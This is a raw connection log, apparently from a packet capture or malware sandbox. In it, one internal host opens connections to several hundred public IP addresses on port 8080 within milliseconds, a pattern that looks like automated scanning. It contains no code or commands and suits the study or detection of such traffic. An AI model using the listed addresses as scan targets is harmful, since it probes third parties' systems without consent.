Mar 4, 2024 15:05:35.177378893 CET	47577	8080	192.168.2.13	85.110.102.244
Mar 4, 2024 15:05:35.177378893 CET	47577	8080	192.168.2.13	95.24.25.173
Mar 4, 2024 15:05:35.177382946 CET	47577	8080	192.168.2.13	94.172.5.220
Mar 4, 2024 15:05:35.177382946 CET	47577	8080	192.168.2.13	95.30.2.22
Mar 4, 2024 15:05:35.177390099 CET	47577	8080	192.168.2.13	62.228.36.137
Mar 4, 2024 15:05:35.177398920 CET	47577	8080	192.168.2.13	31.215.141.252
Mar 4, 2024 15:05:35.177406073 CET	47577	8080	192.168.2.13	85.111.29.185
Mar 4, 2024 15:05:35.177418947 CET	47577	8080	192.168.2.13	94.126.146.26
Mar 4, 2024 15:05:35.177424908 CET	47577	8080	192.168.2.13	95.132.81.196
Mar 4, 2024 15:05:35.177424908 CET	47577	8080	192.168.2.13	62.228.133.79
Mar 4, 2024 15:05:35.177426100 CET	47577	8080	192.168.2.13	31.8.157.175
Mar 4, 2024 15:05:35.177428961 CET	47577	8080	192.168.2.13	94.69.2.119
Mar 4, 2024 15:05:35.177434921 CET	47577	8080	192.168.2.13	85.205.42.225
Mar 4, 2024 15:05:35.177444935 CET	47577	8080	192.168.2.13	62.28.25.82
Mar 4, 2024 15:05:35.177474976 CET	47577	8080	192.168.2.13	95.3.102.110
Mar 4, 2024 15:05:35.177475929 CET	47577	8080	192.168.2.13	95.205.142.163
Mar 4, 2024 15:05:35.177479982 CET	47577	8080	192.168.2.13	95.103.134.15
Mar 4, 2024 15:05:35.177504063 CET	47577	8080	192.168.2.13	62.203.222.125
Mar 4, 2024 15:05:35.177510023 CET	47577	8080	192.168.2.13	62.199.116.75
Mar 4, 2024 15:05:35.177510977 CET	47577	8080	192.168.2.13	62.88.80.232
Mar 4, 2024 15:05:35.177510977 CET	47577	8080	192.168.2.13	62.158.181.237
Mar 4, 2024 15:05:35.177510977 CET	47577	8080	192.168.2.13	95.54.196.166
Mar 4, 2024 15:05:35.177529097 CET	47577	8080	192.168.2.13	62.74.58.146
Mar 4, 2024 15:05:35.177531958 CET	47577	8080	192.168.2.13	31.11.160.176
Mar 4, 2024 15:05:35.177545071 CET	47577	8080	192.168.2.13	94.203.203.47
Mar 4, 2024 15:05:35.177545071 CET	47577	8080	192.168.2.13	85.136.164.235
Mar 4, 2024 15:05:35.177560091 CET	47577	8080	192.168.2.13	31.143.78.24
Mar 4, 2024 15:05:35.177572966 CET	47577	8080	192.168.2.13	85.244.76.37
Mar 4, 2024 15:05:35.177575111 CET	47577	8080	192.168.2.13	62.249.92.10
Mar 4, 2024 15:05:35.177577019 CET	47577	8080	192.168.2.13	94.105.37.161
Mar 4, 2024 15:05:35.177591085 CET	47577	8080	192.168.2.13	31.125.244.72
Mar 4, 2024 15:05:35.177599907 CET	47577	8080	192.168.2.13	94.213.49.51
Mar 4, 2024 15:05:35.177625895 CET	47577	8080	192.168.2.13	62.187.133.166
Mar 4, 2024 15:05:35.177628994 CET	47577	8080	192.168.2.13	95.168.111.160
Mar 4, 2024 15:05:35.177635908 CET	47577	8080	192.168.2.13	95.254.14.252
Mar 4, 2024 15:05:35.177655935 CET	47577	8080	192.168.2.13	85.38.78.67
Mar 4, 2024 15:05:35.177664042 CET	47577	8080	192.168.2.13	94.91.166.104
Mar 4, 2024 15:05:35.177670002 CET	47577	8080	192.168.2.13	95.121.190.49
Mar 4, 2024 15:05:35.177675962 CET	47577	8080	192.168.2.13	62.73.33.95
Mar 4, 2024 15:05:35.177687883 CET	47577	8080	192.168.2.13	85.114.164.164
Mar 4, 2024 15:05:35.177689075 CET	47577	8080	192.168.2.13	85.248.240.128
Mar 4, 2024 15:05:35.177694082 CET	47577	8080	192.168.2.13	62.142.212.146
Mar 4, 2024 15:05:35.177697897 CET	47577	8080	192.168.2.13	31.101.245.36
Mar 4, 2024 15:05:35.177700043 CET	47577	8080	192.168.2.13	95.124.47.50
Mar 4, 2024 15:05:35.177709103 CET	47577	8080	192.168.2.13	62.76.126.36
Mar 4, 2024 15:05:35.177711010 CET	47577	8080	192.168.2.13	94.200.168.32
Mar 4, 2024 15:05:35.177726030 CET	47577	8080	192.168.2.13	94.42.247.192
Mar 4, 2024 15:05:35.177726030 CET	47577	8080	192.168.2.13	85.104.140.23
Mar 4, 2024 15:05:35.177736998 CET	47577	8080	192.168.2.13	31.217.46.93
Mar 4, 2024 15:05:35.177757025 CET	47577	8080	192.168.2.13	94.240.237.95
Mar 4, 2024 15:05:35.177762032 CET	47577	8080	192.168.2.13	62.178.16.190
Mar 4, 2024 15:05:35.177763939 CET	47577	8080	192.168.2.13	94.235.12.5
Mar 4, 2024 15:05:35.177771091 CET	47577	8080	192.168.2.13	85.108.40.84
Mar 4, 2024 15:05:35.177779913 CET	47577	8080	192.168.2.13	85.177.51.142
Mar 4, 2024 15:05:35.177784920 CET	47577	8080	192.168.2.13	95.253.208.64
Mar 4, 2024 15:05:35.177794933 CET	47577	8080	192.168.2.13	62.10.162.167
Mar 4, 2024 15:05:35.177798986 CET	47577	8080	192.168.2.13	95.236.167.71
Mar 4, 2024 15:05:35.177800894 CET	47577	8080	192.168.2.13	62.10.61.59
Mar 4, 2024 15:05:35.177824020 CET	47577	8080	192.168.2.13	95.23.107.137
Mar 4, 2024 15:05:35.177826881 CET	47577	8080	192.168.2.13	95.80.7.152
Mar 4, 2024 15:05:35.177826881 CET	47577	8080	192.168.2.13	31.212.165.137
Mar 4, 2024 15:05:35.177840948 CET	47577	8080	192.168.2.13	31.114.140.163
Mar 4, 2024 15:05:35.177840948 CET	47577	8080	192.168.2.13	95.176.99.227
Mar 4, 2024 15:05:35.177850962 CET	47577	8080	192.168.2.13	85.156.149.78
Mar 4, 2024 15:05:35.177856922 CET	47577	8080	192.168.2.13	94.68.122.96
Mar 4, 2024 15:05:35.177896976 CET	47577	8080	192.168.2.13	95.8.208.252
Mar 4, 2024 15:05:35.177907944 CET	47577	8080	192.168.2.13	95.254.65.5
Mar 4, 2024 15:05:35.177907944 CET	47577	8080	192.168.2.13	85.106.206.95
Mar 4, 2024 15:05:35.177911043 CET	47577	8080	192.168.2.13	85.107.8.139
Mar 4, 2024 15:05:35.177918911 CET	47577	8080	192.168.2.13	94.72.201.88
Mar 4, 2024 15:05:35.177936077 CET	47577	8080	192.168.2.13	85.178.239.35
Mar 4, 2024 15:05:35.177939892 CET	47577	8080	192.168.2.13	85.0.17.237
Mar 4, 2024 15:05:35.177939892 CET	47577	8080	192.168.2.13	94.215.152.177
Mar 4, 2024 15:05:35.177939892 CET	47577	8080	192.168.2.13	62.140.30.113
Mar 4, 2024 15:05:35.177944899 CET	47577	8080	192.168.2.13	62.92.194.180
Mar 4, 2024 15:05:35.177944899 CET	47577	8080	192.168.2.13	85.14.249.84
Mar 4, 2024 15:05:35.177969933 CET	47577	8080	192.168.2.13	94.48.15.34
Mar 4, 2024 15:05:35.177973986 CET	47577	8080	192.168.2.13	62.127.7.241
Mar 4, 2024 15:05:35.177974939 CET	47577	8080	192.168.2.13	94.223.113.137
Mar 4, 2024 15:05:35.177980900 CET	47577	8080	192.168.2.13	85.44.76.77
Mar 4, 2024 15:05:35.178010941 CET	47577	8080	192.168.2.13	95.149.186.58
Mar 4, 2024 15:05:35.178013086 CET	47577	8080	192.168.2.13	62.147.167.172
Mar 4, 2024 15:05:35.178019047 CET	47577	8080	192.168.2.13	85.70.215.138
Mar 4, 2024 15:05:35.178028107 CET	47577	8080	192.168.2.13	31.42.11.109
Mar 4, 2024 15:05:35.178034067 CET	47577	8080	192.168.2.13	85.214.110.164
Mar 4, 2024 15:05:35.178035975 CET	47577	8080	192.168.2.13	85.179.87.173
Mar 4, 2024 15:05:35.178046942 CET	47577	8080	192.168.2.13	95.159.142.71
Mar 4, 2024 15:05:35.178047895 CET	47577	8080	192.168.2.13	95.201.147.35
Mar 4, 2024 15:05:35.178056002 CET	47577	8080	192.168.2.13	94.1.181.120
Mar 4, 2024 15:05:35.178062916 CET	47577	8080	192.168.2.13	95.45.76.49
Mar 4, 2024 15:05:35.178071022 CET	47577	8080	192.168.2.13	95.254.222.75
Mar 4, 2024 15:05:35.178082943 CET	47577	8080	192.168.2.13	94.242.183.31
Mar 4, 2024 15:05:35.178085089 CET	47577	8080	192.168.2.13	31.123.178.81
Mar 4, 2024 15:05:35.178101063 CET	47577	8080	192.168.2.13	85.144.42.18
Mar 4, 2024 15:05:35.178102016 CET	47577	8080	192.168.2.13	94.94.240.132
Mar 4, 2024 15:05:35.178101063 CET	47577	8080	192.168.2.13	95.224.210.186
Mar 4, 2024 15:05:35.178106070 CET	47577	8080	192.168.2.13	95.34.137.64
Mar 4, 2024 15:05:35.178118944 CET	47577	8080	192.168.2.13	95.222.87.230
Mar 4, 2024 15:05:35.178122044 CET	47577	8080	192.168.2.13	31.115.86.68
Mar 4, 2024 15:05:35.178123951 CET	47577	8080	192.168.2.13	85.55.204.31
Mar 4, 2024 15:05:35.178160906 CET	47577	8080	192.168.2.13	85.73.206.184
Mar 4, 2024 15:05:35.178168058 CET	47577	8080	192.168.2.13	85.107.11.223
Mar 4, 2024 15:05:35.178174019 CET	47577	8080	192.168.2.13	95.46.226.182
Mar 4, 2024 15:05:35.178174019 CET	47577	8080	192.168.2.13	94.127.89.103
Mar 4, 2024 15:05:35.178174973 CET	47577	8080	192.168.2.13	85.252.38.195
Mar 4, 2024 15:05:35.178185940 CET	47577	8080	192.168.2.13	62.228.219.36
Mar 4, 2024 15:05:35.178194046 CET	47577	8080	192.168.2.13	31.176.12.43
Mar 4, 2024 15:05:35.178196907 CET	47577	8080	192.168.2.13	31.235.145.7
Mar 4, 2024 15:05:35.178198099 CET	47577	8080	192.168.2.13	31.80.219.254
Mar 4, 2024 15:05:35.178212881 CET	47577	8080	192.168.2.13	62.13.195.193
Mar 4, 2024 15:05:35.178222895 CET	47577	8080	192.168.2.13	94.32.145.52
Mar 4, 2024 15:05:35.178225040 CET	47577	8080	192.168.2.13	85.151.110.143
Mar 4, 2024 15:05:35.178229094 CET	47577	8080	192.168.2.13	95.169.116.168
Mar 4, 2024 15:05:35.178239107 CET	47577	8080	192.168.2.13	31.162.3.64
Mar 4, 2024 15:05:35.178256989 CET	47577	8080	192.168.2.13	85.199.148.223
Mar 4, 2024 15:05:35.178256989 CET	47577	8080	192.168.2.13	62.85.17.133
Mar 4, 2024 15:05:35.178257942 CET	47577	8080	192.168.2.13	95.33.40.240
Mar 4, 2024 15:05:35.178277016 CET	47577	8080	192.168.2.13	31.106.237.172
Mar 4, 2024 15:05:35.178282022 CET	47577	8080	192.168.2.13	62.81.56.139
Mar 4, 2024 15:05:35.178291082 CET	47577	8080	192.168.2.13	95.172.198.119
Mar 4, 2024 15:05:35.178303957 CET	47577	8080	192.168.2.13	94.196.73.215
Mar 4, 2024 15:05:35.178308964 CET	47577	8080	192.168.2.13	95.65.194.87
Mar 4, 2024 15:05:35.178318977 CET	47577	8080	192.168.2.13	31.224.68.24
Mar 4, 2024 15:05:35.178325891 CET	47577	8080	192.168.2.13	85.10.239.54
Mar 4, 2024 15:05:35.178337097 CET	47577	8080	192.168.2.13	94.2.194.112
Mar 4, 2024 15:05:35.178338051 CET	47577	8080	192.168.2.13	85.34.185.135
Mar 4, 2024 15:05:35.178344011 CET	47577	8080	192.168.2.13	31.86.58.210
Mar 4, 2024 15:05:35.178354979 CET	47577	8080	192.168.2.13	85.4.206.221
Mar 4, 2024 15:05:35.178358078 CET	47577	8080	192.168.2.13	95.195.70.122
Mar 4, 2024 15:05:35.178374052 CET	47577	8080	192.168.2.13	94.176.3.159
Mar 4, 2024 15:05:35.178374052 CET	47577	8080	192.168.2.13	62.7.189.251
Mar 4, 2024 15:05:35.178376913 CET	47577	8080	192.168.2.13	94.54.48.5
Mar 4, 2024 15:05:35.178381920 CET	47577	8080	192.168.2.13	31.133.10.10
Mar 4, 2024 15:05:35.178385973 CET	47577	8080	192.168.2.13	85.36.39.66
Mar 4, 2024 15:05:35.178394079 CET	47577	8080	192.168.2.13	31.53.19.83
Mar 4, 2024 15:05:35.178395033 CET	47577	8080	192.168.2.13	31.198.9.217
Mar 4, 2024 15:05:35.178395033 CET	47577	8080	192.168.2.13	62.220.173.118
Mar 4, 2024 15:05:35.178412914 CET	47577	8080	192.168.2.13	85.252.202.188
Mar 4, 2024 15:05:35.178430080 CET	47577	8080	192.168.2.13	95.226.196.127
Mar 4, 2024 15:05:35.178440094 CET	47577	8080	192.168.2.13	62.86.205.232
Mar 4, 2024 15:05:35.178452015 CET	47577	8080	192.168.2.13	62.32.220.28
Mar 4, 2024 15:05:35.178457022 CET	47577	8080	192.168.2.13	31.239.238.6
Mar 4, 2024 15:05:35.178458929 CET	47577	8080	192.168.2.13	62.140.60.41
Mar 4, 2024 15:05:35.178468943 CET	47577	8080	192.168.2.13	62.200.41.83
Mar 4, 2024 15:05:35.178474903 CET	47577	8080	192.168.2.13	94.95.51.4
Mar 4, 2024 15:05:35.178479910 CET	47577	8080	192.168.2.13	94.251.111.192
Mar 4, 2024 15:05:35.178484917 CET	47577	8080	192.168.2.13	94.104.106.175
Mar 4, 2024 15:05:35.178503036 CET	47577	8080	192.168.2.13	95.109.238.207
Mar 4, 2024 15:05:35.178503990 CET	47577	8080	192.168.2.13	95.99.135.107
Mar 4, 2024 15:05:35.178507090 CET	47577	8080	192.168.2.13	94.135.255.21
Mar 4, 2024 15:05:35.178514004 CET	47577	8080	192.168.2.13	62.228.35.187
Mar 4, 2024 15:05:35.178544998 CET	47577	8080	192.168.2.13	94.100.192.222
Mar 4, 2024 15:05:35.178548098 CET	47577	8080	192.168.2.13	94.112.19.174
Mar 4, 2024 15:05:35.178561926 CET	47577	8080	192.168.2.13	85.228.219.68
Mar 4, 2024 15:05:35.178567886 CET	47577	8080	192.168.2.13	94.125.109.211
Mar 4, 2024 15:05:35.178575993 CET	47577	8080	192.168.2.13	85.84.195.207
Mar 4, 2024 15:05:35.178592920 CET	47577	8080	192.168.2.13	95.26.143.209
Mar 4, 2024 15:05:35.178595066 CET	47577	8080	192.168.2.13	94.253.41.140
Mar 4, 2024 15:05:35.178595066 CET	47577	8080	192.168.2.13	31.221.117.38
Mar 4, 2024 15:05:35.178597927 CET	47577	8080	192.168.2.13	94.252.127.72
Mar 4, 2024 15:05:35.178601980 CET	47577	8080	192.168.2.13	95.38.235.195
Mar 4, 2024 15:05:35.178611994 CET	47577	8080	192.168.2.13	94.16.245.4
Mar 4, 2024 15:05:35.178622007 CET	47577	8080	192.168.2.13	94.127.251.125
Mar 4, 2024 15:05:35.178623915 CET	47577	8080	192.168.2.13	62.225.189.168
Mar 4, 2024 15:05:35.178627968 CET	47577	8080	192.168.2.13	62.128.161.148
Mar 4, 2024 15:05:35.178646088 CET	47577	8080	192.168.2.13	31.118.28.11
Mar 4, 2024 15:05:35.178646088 CET	47577	8080	192.168.2.13	95.169.165.173
Mar 4, 2024 15:05:35.178652048 CET	47577	8080	192.168.2.13	62.43.41.89
Mar 4, 2024 15:05:35.178682089 CET	47577	8080	192.168.2.13	95.202.181.215
Mar 4, 2024 15:05:35.178689003 CET	47577	8080	192.168.2.13	95.85.205.32
Mar 4, 2024 15:05:35.178699017 CET	47577	8080	192.168.2.13	31.176.240.27
Mar 4, 2024 15:05:35.178714037 CET	47577	8080	192.168.2.13	62.22.135.140
Mar 4, 2024 15:05:35.178721905 CET	47577	8080	192.168.2.13	85.218.189.17
Mar 4, 2024 15:05:35.178723097 CET	47577	8080	192.168.2.13	31.209.89.225
Mar 4, 2024 15:05:35.178726912 CET	47577	8080	192.168.2.13	31.157.95.167
Mar 4, 2024 15:05:35.178747892 CET	47577	8080	192.168.2.13	62.122.28.41
Mar 4, 2024 15:05:35.178752899 CET	47577	8080	192.168.2.13	94.171.55.170
Mar 4, 2024 15:05:35.178754091 CET	47577	8080	192.168.2.13	31.188.134.84
Mar 4, 2024 15:05:35.178761005 CET	47577	8080	192.168.2.13	62.42.96.246
Mar 4, 2024 15:05:35.178774118 CET	47577	8080	192.168.2.13	31.19.169.77
Mar 4, 2024 15:05:35.178774118 CET	47577	8080	192.168.2.13	85.255.167.181
Mar 4, 2024 15:05:35.178774118 CET	47577	8080	192.168.2.13	31.110.200.103
Mar 4, 2024 15:05:35.178776026 CET	47577	8080	192.168.2.13	94.128.177.65
Mar 4, 2024 15:05:35.178806067 CET	47577	8080	192.168.2.13	94.223.80.205
Mar 4, 2024 15:05:35.178806067 CET	47577	8080	192.168.2.13	85.198.39.170
Mar 4, 2024 15:05:35.178807020 CET	47577	8080	192.168.2.13	95.149.41.210
Mar 4, 2024 15:05:35.178821087 CET	47577	8080	192.168.2.13	95.99.20.243
Mar 4, 2024 15:05:35.178823948 CET	47577	8080	192.168.2.13	62.154.56.173
Mar 4, 2024 15:05:35.178828955 CET	47577	8080	192.168.2.13	31.69.130.104
Mar 4, 2024 15:05:35.178829908 CET	47577	8080	192.168.2.13	95.97.149.24
Mar 4, 2024 15:05:35.178843975 CET	47577	8080	192.168.2.13	62.91.82.106
Mar 4, 2024 15:05:35.178848028 CET	47577	8080	192.168.2.13	31.22.109.169
Mar 4, 2024 15:05:35.178853035 CET	47577	8080	192.168.2.13	94.49.39.38
Mar 4, 2024 15:05:35.178864002 CET	47577	8080	192.168.2.13	95.20.88.83
Mar 4, 2024 15:05:35.178870916 CET	47577	8080	192.168.2.13	94.60.171.185
Mar 4, 2024 15:05:35.178885937 CET	47577	8080	192.168.2.13	31.169.209.177
Mar 4, 2024 15:05:35.178894043 CET	47577	8080	192.168.2.13	95.3.221.179
Mar 4, 2024 15:05:35.178900003 CET	47577	8080	192.168.2.13	85.66.1.162
Mar 4, 2024 15:05:35.178900957 CET	47577	8080	192.168.2.13	95.111.11.57
Mar 4, 2024 15:05:35.178936958 CET	47577	8080	192.168.2.13	62.38.179.174
Mar 4, 2024 15:05:35.178936958 CET	47577	8080	192.168.2.13	85.110.171.90
Mar 4, 2024 15:05:35.178952932 CET	47577	8080	192.168.2.13	62.63.227.82
Mar 4, 2024 15:05:35.178955078 CET	47577	8080	192.168.2.13	31.177.118.76
Mar 4, 2024 15:05:35.178955078 CET	47577	8080	192.168.2.13	31.43.197.36
Mar 4, 2024 15:05:35.178957939 CET	47577	8080	192.168.2.13	95.223.106.139
Mar 4, 2024 15:05:35.178970098 CET	47577	8080	192.168.2.13	94.43.242.231
Mar 4, 2024 15:05:35.178971052 CET	47577	8080	192.168.2.13	31.100.130.39
Mar 4, 2024 15:05:35.178993940 CET	47577	8080	192.168.2.13	94.147.92.72
Mar 4, 2024 15:05:35.178996086 CET	47577	8080	192.168.2.13	31.34.244.141
Mar 4, 2024 15:05:35.179003954 CET	47577	8080	192.168.2.13	95.243.111.35
Mar 4, 2024 15:05:35.179008007 CET	47577	8080	192.168.2.13	31.23.147.130
Mar 4, 2024 15:05:35.179023981 CET	47577	8080	192.168.2.13	85.151.230.127
Mar 4, 2024 15:05:35.179029942 CET	47577	8080	192.168.2.13	94.89.27.25
Mar 4, 2024 15:05:35.179030895 CET	47577	8080	192.168.2.13	62.98.177.183
Mar 4, 2024 15:05:35.179029942 CET	47577	8080	192.168.2.13	62.56.112.10
Mar 4, 2024 15:05:35.179040909 CET	47577	8080	192.168.2.13	62.155.125.53
Mar 4, 2024 15:05:35.179043055 CET	47577	8080	192.168.2.13	95.88.12.100
Mar 4, 2024 15:05:35.179056883 CET	47577	8080	192.168.2.13	31.127.191.124
Mar 4, 2024 15:05:35.179059029 CET	47577	8080	192.168.2.13	31.231.34.138
Mar 4, 2024 15:05:35.179085970 CET	47577	8080	192.168.2.13	94.217.226.197
Mar 4, 2024 15:05:35.179095030 CET	47577	8080	192.168.2.13	94.190.1.225
Mar 4, 2024 15:05:35.179097891 CET	47577	8080	192.168.2.13	94.57.134.67
Mar 4, 2024 15:05:35.179116964 CET	47577	8080	192.168.2.13	31.219.219.227
Mar 4, 2024 15:05:35.179119110 CET	47577	8080	192.168.2.13	85.93.176.210
Mar 4, 2024 15:05:35.179121971 CET	47577	8080	192.168.2.13	85.148.195.238
Mar 4, 2024 15:05:35.179136038 CET	47577	8080	192.168.2.13	85.251.70.92
Mar 4, 2024 15:05:35.179148912 CET	47577	8080	192.168.2.13	94.150.235.247
Mar 4, 2024 15:05:35.179151058 CET	47577	8080	192.168.2.13	62.2.242.211
Mar 4, 2024 15:05:35.179151058 CET	47577	8080	192.168.2.13	94.71.208.52
Mar 4, 2024 15:05:35.179166079 CET	47577	8080	192.168.2.13	85.189.216.222
Mar 4, 2024 15:05:35.179168940 CET	47577	8080	192.168.2.13	94.247.103.89
Mar 4, 2024 15:05:35.179168940 CET	47577	8080	192.168.2.13	62.103.227.102
Mar 4, 2024 15:05:35.179173946 CET	47577	8080	192.168.2.13	85.26.172.5
Mar 4, 2024 15:05:35.179193974 CET	47577	8080	192.168.2.13	85.32.67.206
Mar 4, 2024 15:05:35.179194927 CET	47577	8080	192.168.2.13	31.26.59.209
Mar 4, 2024 15:05:35.179198980 CET	47577	8080	192.168.2.13	62.106.39.240
Mar 4, 2024 15:05:35.179208994 CET	47577	8080	192.168.2.13	85.56.61.164
Mar 4, 2024 15:05:35.179227114 CET	47577	8080	192.168.2.13	31.89.20.149
Mar 4, 2024 15:05:35.179233074 CET	47577	8080	192.168.2.13	85.25.138.203
Mar 4, 2024 15:05:35.179233074 CET	47577	8080	192.168.2.13	94.164.226.159
Mar 4, 2024 15:05:35.179249048 CET	47577	8080	192.168.2.13	94.149.29.91
Mar 4, 2024 15:05:35.179250956 CET	47577	8080	192.168.2.13	62.153.174.157
Mar 4, 2024 15:05:35.179265976 CET	47577	8080	192.168.2.13	94.32.243.173
Mar 4, 2024 15:05:35.179267883 CET	47577	8080	192.168.2.13	85.195.17.42
Mar 4, 2024 15:05:35.179267883 CET	47577	8080	192.168.2.13	94.48.213.42
Mar 4, 2024 15:05:35.179286003 CET	47577	8080	192.168.2.13	94.109.155.91
Mar 4, 2024 15:05:35.179286003 CET	47577	8080	192.168.2.13	94.29.227.135
Mar 4, 2024 15:05:35.179292917 CET	47577	8080	192.168.2.13	95.128.116.173
Mar 4, 2024 15:05:35.179296970 CET	47577	8080	192.168.2.13	85.83.217.186
Mar 4, 2024 15:05:35.179307938 CET	47577	8080	192.168.2.13	95.72.252.213
Mar 4, 2024 15:05:35.179311037 CET	47577	8080	192.168.2.13	31.134.254.150
Mar 4, 2024 15:05:35.179322958 CET	47577	8080	192.168.2.13	62.25.38.18
Mar 4, 2024 15:05:35.179328918 CET	47577	8080	192.168.2.13	94.114.216.200
Mar 4, 2024 15:05:35.179353952 CET	47577	8080	192.168.2.13	31.33.192.249
Mar 4, 2024 15:05:35.179357052 CET	47577	8080	192.168.2.13	85.161.148.225
Mar 4, 2024 15:05:35.179359913 CET	47577	8080	192.168.2.13	95.16.126.129
Mar 4, 2024 15:05:35.179367065 CET	47577	8080	192.168.2.13	95.38.28.225
Mar 4, 2024 15:05:35.179380894 CET	47577	8080	192.168.2.13	94.152.98.137
Mar 4, 2024 15:05:35.179383993 CET	47577	8080	192.168.2.13	95.9.67.148
Mar 4, 2024 15:05:35.179393053 CET	47577	8080	192.168.2.13	95.199.130.0
Mar 4, 2024 15:05:35.179400921 CET	47577	8080	192.168.2.13	94.64.22.111
Mar 4, 2024 15:05:35.179405928 CET	47577	8080	192.168.2.13	62.220.196.181
Mar 4, 2024 15:05:35.179406881 CET	47577	8080	192.168.2.13	31.10.121.197
Mar 4, 2024 15:05:35.179408073 CET	47577	8080	192.168.2.13	85.251.96.246
Mar 4, 2024 15:05:35.179419041 CET	47577	8080	192.168.2.13	62.182.212.166
Mar 4, 2024 15:05:35.179429054 CET	47577	8080	192.168.2.13	94.236.109.83
Mar 4, 2024 15:05:35.179429054 CET	47577	8080	192.168.2.13	31.70.38.237
Mar 4, 2024 15:05:35.179435015 CET	47577	8080	192.168.2.13	31.219.248.228
Mar 4, 2024 15:05:35.179445982 CET	47577	8080	192.168.2.13	94.161.77.208
Mar 4, 2024 15:05:35.179445982 CET	47577	8080	192.168.2.13	62.64.176.130
Mar 4, 2024 15:05:35.179462910 CET	47577	8080	192.168.2.13	31.9.138.137
Mar 4, 2024 15:05:35.179485083 CET	47577	8080	192.168.2.13	94.136.213.91
Mar 4, 2024 15:05:35.179492950 CET	47577	8080	192.168.2.13	31.67.233.222
Mar 4, 2024 15:05:35.179495096 CET	47577	8080	192.168.2.13	95.86.251.120
Mar 4, 2024 15:05:35.179502010 CET	47577	8080	192.168.2.13	31.177.229.48
Mar 4, 2024 15:05:35.179511070 CET	47577	8080	192.168.2.13	95.9.41.114
Mar 4, 2024 15:05:35.179513931 CET	47577	8080	192.168.2.13	31.226.246.141
Mar 4, 2024 15:05:35.179517984 CET	47577	8080	192.168.2.13	94.155.135.148
Mar 4, 2024 15:05:35.179529905 CET	47577	8080	192.168.2.13	95.116.43.50
Mar 4, 2024 15:05:35.179538965 CET	47577	8080	192.168.2.13	31.247.212.33
Mar 4, 2024 15:05:35.179539919 CET	47577	8080	192.168.2.13	85.13.7.255
Mar 4, 2024 15:05:35.179552078 CET	47577	8080	192.168.2.13	95.39.187.163
Mar 4, 2024 15:05:35.179565907 CET	47577	8080	192.168.2.13	94.41.102.141
Mar 4, 2024 15:05:35.179575920 CET	47577	8080	192.168.2.13	31.219.126.46
Mar 4, 2024 15:05:35.179598093 CET	47577	8080	192.168.2.13	94.85.104.52
Mar 4, 2024 15:05:35.179603100 CET	47577	8080	192.168.2.13	94.157.169.30
Mar 4, 2024 15:05:35.179603100 CET	47577	8080	192.168.2.13	31.95.82.225
Mar 4, 2024 15:05:35.179603100 CET	47577	8080	192.168.2.13	95.215.80.108
Mar 4, 2024 15:05:35.179620981 CET	47577	8080	192.168.2.13	94.102.211.31
Mar 4, 2024 15:05:35.179625034 CET	47577	8080	192.168.2.13	62.160.66.85
Mar 4, 2024 15:05:35.179630041 CET	47577	8080	192.168.2.13	95.27.70.146
Mar 4, 2024 15:05:35.179639101 CET	47577	8080	192.168.2.13	62.211.27.89
Mar 4, 2024 15:05:35.179640055 CET	47577	8080	192.168.2.13	31.242.74.246
Mar 4, 2024 15:05:35.179661036 CET	47577	8080	192.168.2.13	31.40.211.150
Mar 4, 2024 15:05:35.179661989 CET	47577	8080	192.168.2.13	94.152.229.207
Mar 4, 2024 15:05:35.179676056 CET	47577	8080	192.168.2.13	95.135.169.85
Mar 4, 2024 15:05:35.179682016 CET	47577	8080	192.168.2.13	95.132.82.171
Mar 4, 2024 15:05:35.179691076 CET	47577	8080	192.168.2.13	31.159.196.119
Mar 4, 2024 15:05:35.179692030 CET	47577	8080	192.168.2.13	31.52.78.140
Mar 4, 2024 15:05:35.179697990 CET	47577	8080	192.168.2.13	94.201.47.199
Mar 4, 2024 15:05:35.179735899 CET	47577	8080	192.168.2.13	62.188.216.134
Mar 4, 2024 15:05:35.179738998 CET	47577	8080	192.168.2.13	62.227.14.6
Mar 4, 2024 15:05:35.179740906 CET	47577	8080	192.168.2.13	31.229.104.135
Mar 4, 2024 15:05:35.179740906 CET	47577	8080	192.168.2.13	62.60.84.106
Mar 4, 2024 15:05:35.179758072 CET	47577	8080	192.168.2.13	85.247.169.83
Mar 4, 2024 15:05:35.179758072 CET	47577	8080	192.168.2.13	62.235.105.53
Mar 4, 2024 15:05:35.179773092 CET	47577	8080	192.168.2.13	62.99.182.45
Mar 4, 2024 15:05:35.179795980 CET	47577	8080	192.168.2.13	85.199.77.207
Mar 4, 2024 15:05:35.179795980 CET	47577	8080	192.168.2.13	94.35.36.197
Mar 4, 2024 15:05:35.179810047 CET	47577	8080	192.168.2.13	62.240.38.68
Mar 4, 2024 15:05:35.179812908 CET	47577	8080	192.168.2.13	95.38.175.184
Mar 4, 2024 15:05:35.179825068 CET	47577	8080	192.168.2.13	85.144.229.12
Mar 4, 2024 15:05:35.179831028 CET	47577	8080	192.168.2.13	85.23.166.252
Mar 4, 2024 15:05:35.179841995 CET	47577	8080	192.168.2.13	94.99.250.50
Mar 4, 2024 15:05:35.179847002 CET	47577	8080	192.168.2.13	95.25.129.230
Mar 4, 2024 15:05:35.179881096 CET	47577	8080	192.168.2.13	62.1.245.216
Mar 4, 2024 15:05:35.179883003 CET	47577	8080	192.168.2.13	62.11.149.127
Mar 4, 2024 15:05:35.179889917 CET	47577	8080	192.168.2.13	94.105.89.174
Mar 4, 2024 15:05:35.179905891 CET	47577	8080	192.168.2.13	62.21.230.172
Mar 4, 2024 15:05:35.179905891 CET	47577	8080	192.168.2.13	62.72.35.114
Mar 4, 2024 15:05:35.179909945 CET	47577	8080	192.168.2.13	85.85.142.93
Mar 4, 2024 15:05:35.179913044 CET	47577	8080	192.168.2.13	85.175.228.95
Mar 4, 2024 15:05:35.179933071 CET	47577	8080	192.168.2.13	31.240.72.215
Mar 4, 2024 15:05:35.179934025 CET	47577	8080	192.168.2.13	31.250.80.147
Mar 4, 2024 15:05:35.179933071 CET	47577	8080	192.168.2.13	31.8.156.199
Mar 4, 2024 15:05:35.179938078 CET	47577	8080	192.168.2.13	62.58.159.198
Mar 4, 2024 15:05:35.179941893 CET	47577	8080	192.168.2.13	31.50.17.136
Mar 4, 2024 15:05:35.179949045 CET	47577	8080	192.168.2.13	31.92.204.58
Mar 4, 2024 15:05:35.179960966 CET	47577	8080	192.168.2.13	31.182.100.151
Mar 4, 2024 15:05:35.179980040 CET	47577	8080	192.168.2.13	85.112.91.93
Mar 4, 2024 15:05:35.179984093 CET	47577	8080	192.168.2.13	85.39.80.70
Mar 4, 2024 15:05:35.179990053 CET	47577	8080	192.168.2.13	62.221.207.78
Mar 4, 2024 15:05:35.179992914 CET	47577	8080	192.168.2.13	95.100.152.186
